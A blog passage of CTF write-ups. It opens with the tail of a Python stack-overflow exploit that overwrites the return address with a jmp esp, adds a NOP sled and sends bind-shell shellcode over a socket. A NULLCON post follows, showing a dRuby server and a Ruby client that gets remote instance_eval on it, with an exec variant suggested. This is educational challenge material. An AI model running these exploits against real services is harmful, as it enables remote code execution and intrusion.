"\x76\x33\x77\x97\xff\x4c\x4f\x4d\x97\xff"
"\x74\x15\x46\xd3\x9e\x74\x1f\x46\x2f\xc5"
"\xd3\xe9")

# BYPASS INITIAL CHECK
load = "\"\":"
# OVERFLOW BUFFER
load = "\"\":"
load += ("A" *20 + "B" * 20 + "C" * 20 +
"D" * 20 + "E" * 20 + "F" * 20 +
"G" * 20 + "AAAABBBBCCCCDDDDFFFFEEEEGGGGHHHHJJJJ" +
"0000111122223333444455556666777788889999" +
"AAAABBBB")

#OVERWRITE RETURN ADDRESS
jmp_esp=0x08048817 #: jmp esp
load += pack("I", jmp_esp)

#NOP SLED BEHIND RETURN ADDRESS
load += pack("I", 0x90909090) * 200
shellcode = bind_4444
load += shellcode

#ORIGINAL CHALLENGE LOCATION
#s = get_socket(('23.23.190.205', 6776))
s = get_socket(('LOCALHOST', 6776))

s.send(load + "\n")

Posted in Bugs, CTF, Exploitation Techniques, Static Analysis, Vulnerabilities | Leave a comment

NULLCON CTF Vuln1 – DRb

This challenge was relatively straightforward, especially given the fact that we have access to the source.

require 'drb/drb'

class TimeServer
  def initialize
    @flag = "FLAG"
  end

  def get_current_time
    Time.now
  end
end

$SAFE = 1

DRb.start_service("druby://0.0.0.0:8988", TimeServer.new)
DRb.thread.join

So as it turns out, dRuby (drb) is a “Distributed object system for ruby”, which allows ruby objects to evoke methods in other processes or even across a network connection. Their way of protecting this from abuse is to set $SAFE = 1 (ruby safety levels to 1), which is meant to disable eval and friends for tainted input, but this apparently does not work as I simply use a variant of eval anyway. Also as it turns out we can simply get the flag by forcing an error on the other end. Chances are the new object being created does not count as a tainted object some how.

Exploit:

require 'drb'
DRb.start_service
obj = DRbObject.new(nil, 'druby://23.23.190.205:8988')
obj.instance_eval("junk")

The exploit simply starts up a client drb service, and then tries to eval “junk” under the context of obj.
A proper exploit of this would be to use obj.instance_eval(“exec ‘cat server.rb’”), but forcing an error on the server will work too.

$ ruby vuln100.rb
vuln100.rb:4:in `instance_eval': undefined method `server' for # (NoMethodError)
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1508:in `perform'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1586:in `block (2 levels) in main_loop'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `loop'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `block in main_loop'
        from (eval):1:in `'
        from vuln100.rb:4:in `instance_eval'
        from vuln100.rb:4:in `'

References :

Posted in Uncategorized | Leave a comment